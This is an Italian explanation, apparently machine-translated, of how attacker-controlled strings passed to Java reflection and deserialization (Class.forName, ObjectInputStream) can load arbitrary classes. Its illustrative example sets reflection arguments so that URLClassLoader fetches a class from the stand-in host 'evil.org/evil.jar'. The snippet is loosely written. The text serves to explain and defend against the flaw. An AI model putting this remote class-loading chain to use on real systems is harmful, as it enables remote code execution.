Tramite riflessione, qualsiasi pacchetto sul percorso di classe è potenzialmente utilizzato. Servizi comuni basati sulla riflessione (ad esempio deserializzazione) significano anche che qualsiasi classe caricabile è utilizzabile. ObjectInputStream
e altre API comunemente usate possono essere una fonte di vulnerabilità.
Per comprendere i vulns riflessivi: se un utente malintenzionato può ottenere una stringa che controlla in Class.forName
o qualche altro meccanismo di riflessione, è probabile che essi possano causare il caricamento di tale classe. Ad esempio, se l'attaccante controlla il valore di s
,
Class<?> clazz = Class.forName(s);
Object o = clazz.newInstance();
quindi possono causare il caricamento di qualsiasi classe visibile al bootloader del bootstrap.
Se l'utente malintenzionato può causare la deserializzazione dei byte da parte dell'applicazione, questi possono causare il caricamento di qualsiasi classe sul classpath. ObjectInputStream
cercherà un nome di classe specificato nel suo byte[]
e caricherà quella classe per vedere se implementa Externalizable
. La classe verrà inizializzata se implementa Serializable
.
link
Naive use of object serialization may allow a malicious party with access to the serialization byte stream to read private data, create objects with illegal or dangerous state, or obtain references to the private fields of deserialized objects.
link
Serialization and deserialization features can be exploited to bypass security manager checks.
Inoltre, possono essere concatenati più attacchi a API riflettenti. Se l'utente malintenzionato controlla la stringa s0 ... s4 nel riquadro sottostante, possono causare il caricamento di qualsiasi classe:
Class<?> clazz = Class.forName(s0);
Constructor ctor = clazz.getConstructor(s1, String.class);
Object o1 = ctor.newInstance(s2);
Method m = clazz.getMethod(s3, String.class);
Object o2 = m.invoke(o1, s4);
Considera cosa succede quando
s1 = "java.net.URLClassLoader";
s2 = "http://evil.org/evil.jar";
s3 = "findClass";
s4 = "org.evil.Evil";
Gli autori di attacchi che possono specificare le proprietà di sistema possono anche modificare il classpath per includere le classi trojan.
La morale di questa storia è di tenere stringhe e byte non attendibili lontano dalle strutture riflettenti e dalle relative strutture, tra cui la deserializzazione, RPC / RMI, ecc.